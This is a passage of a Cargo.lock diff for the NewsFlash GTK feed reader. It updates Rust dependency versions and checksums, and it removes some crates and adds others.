"290f1a1d9242c78d09ce40a5e87e7554ee637af1351968159f4952f028f75604" [[package]] name = "heck" @@ -1897,9 +1740,9 @@ checksum = "95505c38b4572b2d910cecb0281560f54b440a19336cbbcb27bf6ce6adc6f5a8" [[package]] name = "hermit-abi" -version = "0.3.3" +version = "0.3.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d77f7ec81a6d05a3abb01ab6eb7590f6083d08449fe5a1c8b1e620283546ccb7" +checksum = "379dada1584ad501b383485dd706b8afb7a70fcbc7f4da7d780638a5a6124a60" [[package]] name = "hex" @@ -1920,9 +1763,9 @@ dependencies = [ [[package]] name = "html2pango" -version = "0.5.0" +version = "0.6.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e22f189d26bf7cf4652dbe49da86f3a27628f745469365f1d2575ea8caf54eaf" +checksum = "a5f061cc3c0538033f81a94417f209e2b1908e3dab8b87b205d84e6109c8091b" dependencies = [ "ammonia", "anyhow", @@ -1950,9 +1793,9 @@ dependencies = [ [[package]] name = "http" -version = "0.2.9" +version = "0.2.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bd6effc99afb63425aff9b05836f029929e345a6148a14b7ecd5ab67af944482" +checksum = "8947b1a6fad4393052c7ba1f4cd97bed3e953a95c79c92ad9b051a04611d9fbb" dependencies = [ "bytes", "fnv", @@ -1961,9 +1804,9 @@ dependencies = [ [[package]] name = "http-body" -version = "0.4.5" +version = "0.4.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d5f38f16d184e36f2408a55281cd658ecbd3ca05cce6d6510a176eca393e26d1" +checksum = "7ceab25649e9960c0311ea418d17bee82c0dcec1bd053b5f9a66e265a693bed2" dependencies = [ "bytes", "http", @@ -1990,9 +1833,9 @@ checksum = "9a3a5bfb195931eeb336b2a7b4d761daec841b97f947d34394601737a7bba5e4" [[package]] name = "hyper" -version = "0.14.27" +version = "0.14.28" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ffb1cfd654a8219eaef89881fdb3bb3b1cdc5fa75ded05d6933b2b382e395468" +checksum = "bf96e135eb83a2a8ddf766e426a841d8ddd7449d5f00d34ea02b41d2f19eef80" dependencies = [ "bytes", "futures-channel", @@ -2005,7 +1848,7 @@ dependencies = [ "httpdate", "itoa", "pin-project-lite", - "socket2 0.4.9", + "socket2", "tokio", "tower-service", "tracing", @@ -2013,20 +1856,6 @@ dependencies = [ ] [[package]] -name = "hyper-rustls" -version = "0.24.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8d78e1e73ec14cf7375674f74d7dde185c8206fd9dea6fb6295e8a98098aaa97" -dependencies = [ - "futures-util", - "http", - "hyper", - "rustls", - "tokio", - "tokio-rustls", -] - -[[package]] name = "hyper-tls" version = "0.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2041,16 +1870,16 @@ dependencies = [ [[package]] name = "iana-time-zone" -version = "0.1.57" +version = "0.1.60" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2fad5b825842d2b38bd206f3e81d6957625fd7f0a361e345c30e01a0ae2dd613" +checksum = "e7ffbb5a1b541ea2561f8c41c087286cc091e21e556a4f09a8f6cbf17b69b141" dependencies = [ "android_system_properties", "core-foundation-sys", "iana-time-zone-haiku", "js-sys", "wasm-bindgen", - "windows", + "windows-core", ] [[package]] @@ -2064,20 +1893,19 @@ dependencies = [ [[package]] name = "idna" -version = "0.2.3" +version = "0.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "418a0a6fab821475f634efe3ccc45c013f742efe03d853e8d3355d5cb850ecf8" +checksum = "e14ddfc70884202db2244c223200c204c2bda1bc6e0998d11b5e024d657209e6" dependencies = [ - "matches", "unicode-bidi", "unicode-normalization", ] [[package]] name = "idna" -version = "0.3.0" +version = "0.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e14ddfc70884202db2244c223200c204c2bda1bc6e0998d11b5e024d657209e6" +checksum = "7d20d6b07bfbc108882d88ed8e37d39636dcc260e15e30c45e6ba089610b917c" dependencies = [ "unicode-bidi", "unicode-normalization", @@ -2085,9 +1913,9 @@ dependencies = [ [[package]] name = "idna" -version = "0.4.0" +version = "0.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7d20d6b07bfbc108882d88ed8e37d39636dcc260e15e30c45e6ba089610b917c" +checksum = "634d9b1461af396cad843f47fdba5597a4f9e6ddd4bfb6ff5d85028c25cb12f6" dependencies = [ "unicode-bidi", "unicode-normalization", @@ -2095,9 +1923,9 @@ dependencies = [ [[package]] name = "image" -version = "0.24.7" +version = "0.24.9" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6f3dfdbdd72063086ff443e297b61695500514b1e41095b6fb9a5ab48a70a711" +checksum = "5690139d2f55868e080017335e4b94cb7414274c74f1669c84fb5feba2c9f69d" dependencies = [ "bytemuck", "byteorder", @@ -2105,7 +1933,6 @@ dependencies = [ "exr", "gif", "jpeg-decoder", - "num-rational", "num-traits", "png", "qoi", @@ -2120,42 +1947,12 @@ checksum = "ce23b50ad8242c51a442f3ff322d56b02f08852c77e4c0b4d3fd684abc89c683" [[package]] name = "indexmap" -version = "1.9.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bd070e393353796e801d209ad339e89596eb4c8d430d18ede6a1cced8fafbd99" -dependencies = [ - "autocfg", - "hashbrown 0.12.3", -] - -[[package]] -name = "indexmap" -version = "2.0.1" +version = "2.2.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ad227c3af19d4914570ad36d30409928b75967c298feb9ea1969db3a610bb14e" +checksum = "233cf39063f058ea2caae4091bf4a3ef70a653afbc026f5c4a4135d114e3c177" dependencies = [ "equivalent", - "hashbrown 0.14.0", -] - -[[package]] -name = "instant" -version = "0.1.12" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7a5bbe824c507c5da5956355e86a746d82e0e1464f65d862cc5e71da70e94b2c" -dependencies = [ - "cfg-if", -] - -[[package]] -name = "io-lifetimes" -version = "1.0.11" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "eae7b9aee968036d54dce06cebaefd919e4472e753296daccd6d344e3e2df0c2" -dependencies = [ - "hermit-abi", - "libc", - "windows-sys", + "hashbrown", ] [[package]] @@ -2164,17 +1961,17 @@ version = "0.3.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b58db92f96b720de98181bbbe63c831e87005ab460c1bf306eb2622b4707997f" dependencies = [ - "socket2 0.5.4", + "socket2", "widestring", - "windows-sys", + "windows-sys 0.48.0", "winreg", ] [[package]] name = "ipnet" -version = "2.8.0" +version = "2.9.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "28b29a3cd74f0f4598934efe3aeba42bae0eb4680554128851ebbecb02af14e6" +checksum = "8f518f335dce6725a761382244631d86cf0ccb2863413590b31338feb467f9c3" [[package]] name = "ipnetwork" @@ -2196,24 +1993,24 @@ dependencies = [ [[package]] name = "itertools" -version = "0.11.0" +version = "0.12.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b1c173a5686ce8bfa551b3563d0c2170bf24ca44da99c7ca4bfdab5418c3fe57" +checksum = "ba291022dbbd398a455acf126c1e341954079855bc60dfdda641363bd6922569" dependencies = [ "either", ] [[package]] name = "itoa" -version = "1.0.9" +version = "1.0.10" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "af150ab688ff2122fcef229be89cb50dd66af9e01a4ff320cc137eecc9bacc38" +checksum = "b1a46d1a171d865aa5f83f92695765caa047a9b4cbae2cbf37dbd613a793fd4c" [[package]] name = "javascriptcore6" -version = "0.2.0" +version = "0.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9ab2e7a6ba3112cf23e7bf63f0aefe5058e6b4f1f759d47bf22922f73ed17e79" +checksum = "d95a69260c40bbf52066f2c6fa520c00c1ec8ab8208636cf3070c0157c5221f8" dependencies = [ "glib", "javascriptcore6-sys", @@ -2222,9 +2019,9 @@ dependencies = [ [[package]] name = "javascriptcore6-sys" -version = "0.2.0" +version = "0.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f5a26b89c59d679b0d57dd98235e3125b132407cc14c3fb6382df4b84475c39f" +checksum = "fc104f99c5adcd7ed53dd491121c111e05e3e8d40020d3519e98c346ca64186b" dependencies = [ "glib-sys", "gobject-sys", @@ -2240,32 +2037,23 @@ checksum = "47f142fe24a9c9944451e8349de0a56af5f3e7226dc46f3ed4d4ecc0b85af75e" [[package]] name = "jpeg-decoder" -version = "0.3.0" +version = "0.3.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bc0000e42512c92e31c2252315bda326620a4e034105e900c98ec492fa077b3e" +checksum = "f5d4a7da358eff58addd2877a45865158f0d78c911d43a5784ceb7bbf52833b0" dependencies = [ "rayon", ] [[package]] name = "js-sys" -version = "0.3.64" +version = "0.3.68" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c5f195fe497f702db0f318b07fdd68edb16955aed830df8363d837542f8f935a" +checksum = "406cda4b368d531c842222cf9d2600a9a4acce8d29423695379c6868a143a9ee" dependencies = [ "wasm-bindgen", ] [[package]] -name = "kv-log-macro" -version = "1.0.7" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0de8b303297635ad57c9f5059fd9cee7a47f8e8daa09df0fcd07dd39fb22977f" -dependencies = [ - "log", -] - -[[package]] name = "lazy_static" version = "1.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2279,9 +2067,9 @@ checksum = "03087c2bad5e1034e8cace5926dec053fb3790248370865f5117a7d0213354c8" [[package]] name = "libadwaita" -version = "0.5.3" +version = "0.6.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2fe7e70c06507ed10a16cda707f358fbe60fe0dc237498f78c686ade92fd979c" +checksum = "91b4990248b9e1ec5e72094a2ccaea70ec3809f88f6fd52192f2af306b87c5d9" dependencies = [ "gdk-pixbuf", "gdk4", @@ -2295,9 +2083,9 @@ dependencies = [ [[package]] name = "libadwaita-sys" -version = "0.5.3" +version = "0.6.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5e10aaa38de1d53374f90deeb4535209adc40cc5dba37f9704724169bceec69a" +checksum = "23a748e4e92be1265cd9e93d569c0b5dfc7814107985aa6743d670ab281ea1a8" dependencies = [ "gdk4-sys", "gio-sys", @@ -2311,21 +2099,32 @@ dependencies = [ [[package]] name = "libc" -version = "0.2.148" +version = "0.2.153" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9cdc71e17332e86d2e1d38c1f99edcb6288ee11b815fb1a4b049eaa2114d369b" +checksum = "9c198f91728a82281a64e1f4f9eeb25d82cb32a5de251c6bd1b5154d63a8e7bd" [[package]] name = "libm" -version = "0.2.7" +version = "0.2.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4ec2a862134d2a7d32d7983ddcdd1c4923530833c9f2ea1a44fc5fa473989058" + +[[package]] +name = "libredox" +version = "0.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f7012b1bbb0719e1097c47611d3898568c546d597c2e74d66f6087edd5233ff4" +checksum = "85c833ca1e66078851dba29046874e38f08b2c883700aa29a03ddd3b23814ee8" +dependencies = [ + "bitflags 2.4.2", + "libc", + "redox_syscall", +] [[package]] name = "libsqlite3-sys" -version = "0.26.0" +version = "0.27.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "afc22eff61b133b115c6e8c74e818c628d6d5e7a502afea6f64dee076dd94326" +checksum = "cf4e226dcd58b4be396f7bd3c20da8fdee2911400705297ba7d2d7cc2c30f716" dependencies = [ "pkg-config", "vcpkg", @@ -2359,15 +2158,9 @@ dependencies = [ [[package]] name = "linux-raw-sys" -version = "0.3.8" +version = "0.4.13" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ef53942eb7bf7ff43a617b3e2c1c4a5ecf5944a7c1bc12d7ee39bbb15e5c1519" - -[[package]] -name = "linux-raw-sys" -version = "0.4.7" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1a9bad9f94746442c783ca431b22403b519cd7fbeed0533fdd6328b2f2212128" +checksum = "01cda141df6706de531b6c46c3a33ecca755538219bd484262fa09410c13539c" [[package]] name = "locale_config" @@ -2384,9 +2177,9 @@ dependencies = [ [[package]] name = "lock_api" -version = "0.4.10" +version = "0.4.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c1cc9717a20b1bb222f333e6a92fd32f7d8a18ddc5a3191a11af45dcbf4dcd16" +checksum = "3c168f8615b12bc01f9c17e2eb0cc07dcae1940121185446edc3744920e8ef45" dependencies = [ "autocfg", "scopeguard", @@ -2399,7 +2192,6 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b5e6163cb8c49088c2c36f57875e58ccd8c87c7427f7fbd50ea6710b2f3f2e8f" dependencies = [ "serde", - "value-bag", ] [[package]] @@ -2410,9 +2202,9 @@ checksum = "a94d21414c1f4a51209ad204c1776a3d0765002c76c6abcb602a6f09f1e881c7" [[package]] name = "log4rs" -version = "1.2.0" +version = "1.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d36ca1786d9e79b8193a68d480a0907b612f109537115c6ff655a3a1967533fd" +checksum = "0816135ae15bd0391cf284eab37e6e3ee0a6ee63d2ceeb659862bd8d0a984ca6" dependencies = [ "anyhow", "arc-swap", @@ -2423,7 +2215,9 @@ dependencies = [ "libc", "log", "log-mdc", + "once_cell", "parking_lot", + "rand", "serde", "serde-value", "serde_json", @@ -2450,22 +2244,13 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "c41e0c4fef86961ac6d6f8a82609f55f31b05e4fce149ac5710e439df7619ba4" [[package]] -name = "mach2" -version = "0.4.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6d0d1830bcd151a6fc4aea1369af235b36c1528fe976b8ff678683c9995eade8" -dependencies = [ - "libc", -] - -[[package]] name = "magic-crypt" -version = "3.1.12" +version = "3.1.13" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0196bd5c76f5f51d7d6563545f86262fef4c82d75466ba6f6d359c40a523318d" +checksum = "6c42f95f9d296f2dcb50665f507ed5a68a171453142663ce44d77a4eb217b053" dependencies = [ "aes", - "base64 0.13.1", + "base64", "block-modes", "crc-any", "des", @@ -2523,12 +2308,6 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ffbee8634e0d45d258acb448e7eaab3fce7a0a467395d4d9f228e3c1f01fb2e4" [[package]] -name = "matches" -version = "0.1.10" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2532096657941c2fea9c289d370a250971c689d4f143798ff67113ec042024a5" - -[[package]] name = "md-5" version = "0.9.1" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2547,18 +2326,9 @@ checksum = "490cc448043f947bae3cbee9c203358d62dbee0db12107a74be5c30ccfd09771" [[package]] name = "memchr" -version = "2.6.3" +version = "2.7.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8f232d6ef707e1956a43342693d2a31e72989554d58299d7a88738cc95b0d35c" - -[[package]] -name = "memoffset" -version = "0.7.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5de893c32cde5f383baa4c04c5d6dbdd735cfd4a794b0debdb2bb1b421da5ff4" -dependencies = [ - "autocfg", -] +checksum = "523dc4f511e55ab87b694dc30d0f820d60906ef06413f93d4d7a1385599cc149" [[package]] name = "memoffset" @@ -2576,7 +2346,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "0f23f71580015254b020e856feac3df5878c2c7a8812297edd6c0a485ac9dada" dependencies = [ "serde", - "toml", + "toml 0.7.8", ] [[package]] @@ -2608,11 +2378,11 @@ dependencies = [ [[package]] name = "miniflux_api" -version = "0.5.0" +version = "0.6.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c402b227e14d83831bfb5a5d4bc347b1a925889f733b27697610a307b0bd8e89" +checksum = "babaa4cdaadf81050c03f93f16375cf305a29b2d6f099d66ff40aae93afcfee2" dependencies = [ - "base64 0.13.1", + "base64", "log", "reqwest", "serde", @@ -2624,9 +2394,9 @@ dependencies = [ [[package]] name = "miniz_oxide" -version = "0.7.1" +version = "0.7.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e7810e0be55b428ada41041c41f32c9f1a42817901b4ccf45fa3d4b6561e74c7" +checksum = "9d811f3e15f28568be3407c8e7fdb6514c1cda3cb30683f15b6a1a1dc4ea14a7" dependencies = [ "adler", "simd-adler32", @@ -2634,23 +2404,23 @@ dependencies = [ [[package]] name = "mio" -version = "0.8.8" +version = "0.8.10" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "927a765cd3fc26206e66b296465fa9d3e5ab003e651c1b3c060e7956d96b19d2" +checksum = "8f3d0b296e374a4e6f3c7b0a1f5a51d748a0d34c85e7dc48fc3fa9a87657fe09" dependencies = [ "libc", - "wasi 0.11.0+wasi-snapshot-preview1", - "windows-sys", + "wasi", + "windows-sys 0.48.0", ] [[package]] name = "moka" -version = "0.11.3" +version = "0.12.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fa6e72583bf6830c956235bff0d5afec8cf2952f579ebad18ae7821a917d950f" +checksum = "b1911e88d5831f748a4097a43862d129e3c6fca831eecac9b8db6d01d93c9de2" dependencies = [ - "async-io", - "async-lock", + "async-lock 2.8.0", + "async-trait", "crossbeam-channel", "crossbeam-epoch", "crossbeam-utils", @@ -2659,7 +2429,6 @@ dependencies = [ "parking_lot", "quanta", "rustc_version", - "scheduled-thread-pool", "skeptic", "smallvec", "tagptr", @@ -2701,12 +2470,12 @@ checksum = "e4a24736216ec316047a1fc4252e27dabb04218aa4a3f37c6e7ddbf1f9782b54" [[package]] name = "news-flash" version = "2.3.0-alpha.0" -source = "git+https://gitlab.com/news_flash/news_flash.git#b1763aa942149891afa760255724b0a03319e1e4" +source = "git+https://gitlab.com/news_flash/news_flash.git#46cf25eff46655e314ae38b28c04f0f943b3910a" dependencies = [ "article_scraper", "async-trait", - "base64 0.21.4", - "bitflags 2.4.0", + "base64", + "bitflags 2.4.2", "bytes", "chrono", "commafeed_api", @@ -2721,7 +2490,7 @@ dependencies = [ "greader_api", "hex", "image", - "itertools 0.11.0", + "itertools 0.12.1", "libxml", "log", "magic-crypt", @@ -2738,7 +2507,7 @@ dependencies = [ "random_color", "regex", "reqwest", - "rust-embed 8.0.0", + "rust-embed", "sanitize-filename", "semver", "serde", @@ -2753,13 +2522,12 @@ name = "news_flash_gtk" version = "0.0.0" dependencies = [ "ashpd", - "base64 0.21.4", + "base64", "bytesize", "chrono", - "clap", "color-backtrace", "diffus", - "dirs 5.0.1", + "dirs", "eyre", "feedly_api", "futures", @@ -2779,11 +2547,12 @@ dependencies = [ "news-flash", "once_cell", "pango", + "parking_lot", "percent-encoding", "rc-writer", "regex", "reqwest", - "rust-embed 8.0.0", + "rust-embed", "serde", "serde_json", "thiserror", @@ -2811,7 +2580,7 @@ version = "0.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "488e5fb51484deb6bc5bc22f0b0db4902ae7e391d075f8d1a1b9a9674ea326d3" dependencies = [ - "base64 0.21.4", + "base64", "log", "reqwest", "serde", @@ -2824,14 +2593,15 @@ dependencies = [ [[package]] name = "nix" -version = "0.26.4" +version = "0.28.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "598beaf3cc6fdd9a5dfb1630c2800c7acd31df7aaf0f565796fba2b53ca1af1b" +checksum = "ab2156c4fce2f8df6c499cc1c763e4394b7482525bf2a9701c9d79d215f519e4" dependencies = [ - "bitflags 1.3.2", + "bitflags 2.4.2", "cfg-if", + "cfg_aliases", "libc", - "memoffset 0.7.1", + "memoffset", ] [[package]] @@ -2846,31 +2616,25 @@ dependencies = [ ] [[package]] -name = "num-integer" -version = "0.1.45" +name = "num-conv" +version = "0.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "225d3389fb3509a24c93f5c29eb6bde2586b98d9f016636dff58d7c6f7569cd9" -dependencies = [ - "autocfg", - "num-traits", -] +checksum = "51d515d32fb182ee37cda2ccdcb92950d6a3c2893aa280e540671c2cd0f3b1d9" [[package]] -name = "num-rational" -version = "0.4.1" +name = "num-integer" +version = "0.1.46" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0638a1c9d0a3c0914158145bc76cff373a75a627e6ecbfb71cbe6f453a5a19b0" +checksum = "7969661fd2958a5cb096e56c8e1ad0444ac2bbcd0061bd28660485a44879858f" dependencies = [ - "autocfg", - "num-integer", "num-traits", ] [[package]] name = "num-traits" -version = "0.2.16" +version = "0.2.18" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f30b0abd723be7e2ffca1272140fac1a2f084c77ec3e123c192b66af1ee9e6c2" +checksum = "da0df0e5185db44f69b44f26786fe401b6c293d1907744beaa7fa62b2e5a517a" dependencies = [ "autocfg", ] @@ -2922,18 +2686,18 @@ dependencies = [ [[package]] name = "object" -version = "0.32.1" +version = "0.32.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9cf5f9dd3933bd50a9e1f149ec995f39ae2c496d31fd772c1fd45ebc27e902b0" +checksum = "a6a622008b6e321afc04970976f62ee297fdbaa6f95318ca343e3eebb9648441" dependencies = [ "memchr", ] [[package]] name = "once_cell" -version = "1.18.0" +version = "1.19.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dd8b5dd2ae5ed71462c540258bedcb51965123ad7e7ccf4b9a8cafaa4a63576d" +checksum = "3fdb12b2476b595f9358c5161aa467c2438859caa136dec86c26fdd2efe17b92" [[package]] name = "opaque-debug" @@ -2943,11 +2707,11 @@ checksum = "624a8340c38c1b80fd549087862da4ba43e08858af025b236e509b6649fc13d5" [[package]] name = "openssl" -version = "0.10.57" +version = "0.10.64" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bac25ee399abb46215765b1cb35bc0212377e58a061560d8b29b024fd0430e7c" +checksum = "95a0481286a310808298130d22dd1fef0fa571e05a8f44ec801801e84b216b1f" dependencies = [ - "bitflags 2.4.0", + "bitflags 2.4.2", "cfg-if", "foreign-types", "libc", @@ -2964,7 +2728,7 @@ checksum = "a948666b637a0f465e8564c73e89d4dde00d72d4d473cc972f390fc3dcee7d9c" dependencies = [ "proc-macro2", "quote", - "syn 2.0.37", + "syn 2.0.51", ] [[package]] @@ -2975,9 +2739,9 @@ checksum = "ff011a302c396a5197692431fc1948019154afc178baf7d8e37367442a4601cf" [[package]] name = "openssl-sys" -version = "0.9.93" +version = "0.9.101" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "db4d56a4c0478783083cfafcc42493dd4a981d41669da64b4572a2a089b51b1d" +checksum = "dda2b0f344e78efc2facf7d195d098df0dd72151b26ab98da807afc26c198dff" dependencies = [ "cc", "libc", @@ -2987,9 +2751,9 @@ dependencies = [ [[package]] name = "opml" -version = "1.1.5" +version = "1.1.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "657e16a7677a52c9bcfca579d77c087bc4240644d7e5491b359bb76ed62c779d" +checksum = "df2f96426c857a92676dc29a9e2a181eb39321047ac994491c69eae01619ddf2" dependencies = [ "hard-xml", "serde", @@ -3004,9 +2768,9 @@ checksum = "04744f49eae99ab78e0d5c0b603ab218f515ea8cfe5a456d7629ad883a3b6e7d" [[package]] name = "ordered-float" -version = "2.10.0" +version = "2.10.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7940cf2ca942593318d07fcf2596cdca60a85c9e7fab408a5e21a4f9dcd40d87" +checksum = "68f19d67e5a2795c94e73e0bb1cc1a7edeb2e28efd39e2e1c9b7a40c1108b11c" dependencies = [ "num-traits", ] @@ -3023,22 +2787,21 @@ dependencies = [ [[package]] name = "pango" -version = "0.18.0" +version = "0.19.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "06a9e54b831d033206160096b825f2070cf5fda7e35167b1c01e9e774f9202d1" +checksum = "7809e8af4df8d024a066106b72ca6bc7253a484ae3867041a96103ef8a13188d" dependencies = [ "gio", "glib", "libc", - "once_cell", "pango-sys", ] [[package]] name = "pango-sys" -version = "0.18.0" +version = "0.19.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "436737e391a843e5933d6d9aa102cb126d501e815b83601365a948a518555dc5" +checksum = "f52ef6a881c19fbfe3b1484df5cad411acaaba29dbec843941c3110d19f340ea" dependencies = [ "glib-sys", "gobject-sys", @@ -3048,9 +2811,9 @@ dependencies = [ [[package]] name = "parking" -version = "2.1.1" +version = "2.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e52c774a4c39359c1d1c52e43f73dd91a75a614652c825408eec30c95a9b2067" +checksum = "bb813b8af86854136c6922af0598d719255ecb2179515e6e7730d468f05c9cae" [[package]] name = "parking_lot" @@ -3064,22 +2827,22 @@ dependencies = [ [[package]] name = "parking_lot_core" -version = "0.9.8" +version = "0.9.9" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "93f00c865fe7cabf650081affecd3871070f26767e7b2070a3ffae14c654b447" +checksum = "4c42a9226546d68acdd9c0a280d17ce19bfe27a46bf68784e4066115788d008e" dependencies = [ "cfg-if", "libc", - "redox_syscall 0.3.5", + "redox_syscall", "smallvec", - "windows-targets", + "windows-targets 0.48.5", ] [[package]] name = "percent-encoding" -version = "2.3.0" +version = "2.3.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9b2a4787296e9989611394c33f193f676704af1686e70b8f8033ab5ba9a35a94" +checksum = "e3148f5046208a5d56bcfc03053e3ca6334e51da8dfb19b6cdc8b306fae3283e" [[package]] name = "phf" @@ -3107,7 +2870,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "5d5285893bb5eb82e6aaf5d59ee909a06a16737a8970984dd7746ba9283498d6" dependencies = [ "phf_shared", - "rand 0.8.5", + "rand", ] [[package]] @@ -3116,7 +2879,7 @@ version = "0.10.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b6796ad771acdc0123d2a88dc428b5e38ef24456743ddb1744ed628f9815c096" dependencies = [ - "siphasher", + "siphasher 0.3.11", ] [[package]] @@ -3138,21 +2901,21 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "668d31b1c4eba19242f2088b2bf3316b82ca31082a8335764db4e083db7485d4" dependencies = [ "atomic-waker", - "fastrand 2.0.1", + "fastrand", "futures-io", ] [[package]] name = "pkg-config" -version = "0.3.27" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "26072860ba924cbfa98ea39c8c19b4dd6a4a25423dbdf219c1eca91aa0cf6964" +checksum = "d231b230927b5e4ad203db57bbcbee2802f6bce620b1e4a9024a07d94e2907ec" [[package]] name = "png" -version = "0.17.10" +version = "0.17.13" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dd75bf2d8dd3702b9707cdbc56a5b9ef42cec752eb8b3bafc01234558442aa64" +checksum = "06e4b0d3d1312775e782c86c91a111aa1f910cbb65e1337f9975b5f9a554b5e1" dependencies = [ "bitflags 1.3.2", "crc32fast", @@ -3163,21 +2926,25 @@ dependencies = [ [[package]] name = "polling" -version = "2.8.0" +version = "3.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4b2d323e8ca7996b3e23126511a523f7e62924d93ecd5ae73b333815b0eb3dce" +checksum = "24f040dee2588b4963afb4e420540439d126f73fdacf4a9c486a96d840bac3c9" dependencies = [ - "autocfg", - "bitflags 1.3.2", "cfg-if", "concurrent-queue", - "libc", - "log", "pin-project-lite", - "windows-sys", + "rustix", + "tracing", + "windows-sys 0.52.0", ] [[package]] +name = "powerfmt" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "439ee305def115ba05938db6eb1644ff94165c5ab5e9420d1c1bcedbba909391" + +[[package]] name = "ppv-lite86" version = "0.2.17" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -3191,12 +2958,11 @@ checksum = "925383efa346730478fb4838dbe9137d2a47675ad789c546d150a6e1dd4ab31c" [[package]] name = "proc-macro-crate" -version = "1.3.1" +version = "3.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7f4c021e1093a56626774e81216a4ce732a735e5bad4868a03f3ed65ca0c3919" +checksum = "6d37c51ca738a55da99dc0c4a34860fd675453b8b36209178c2249bb13651284" dependencies = [ - "once_cell", - "toml_edit", + "toml_edit 0.21.1", ] [[package]] @@ -3225,9 +2991,9 @@ dependencies = [ [[package]] name = "proc-macro2" -version = "1.0.67" +version = "1.0.78" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3d433d9f1a3e8c1263d9456598b16fec66f4acc9a74dacffd35c7bb09b3a1328" +checksum = "e2422ad645d89c99f8f3e6b88a9fdeca7fabeac836b1002371c4367c8f984aae" dependencies = [ "unicode-ident", ] @@ -3250,11 +3016,11 @@ dependencies = [ [[package]] name = "pulldown-cmark" -version = "0.9.3" +version = "0.9.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "77a1a2f1f0a7ecff9c31abbe177637be0e97a0aef46cf8738ece09327985d998" +checksum = "57206b407293d2bcd3af849ce869d52068623f19e1b5ff8e8778e3309439682b" dependencies = [ - "bitflags 1.3.2", + "bitflags 2.4.2", "memchr", "unicase", ] @@ -3270,16 +3036,15 @@ dependencies = [ [[package]] name = "quanta" -version = "0.11.1" +version = "0.12.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a17e662a7a8291a865152364c20c7abc5e60486ab2001e8ec10b24862de0b9ab" +checksum = 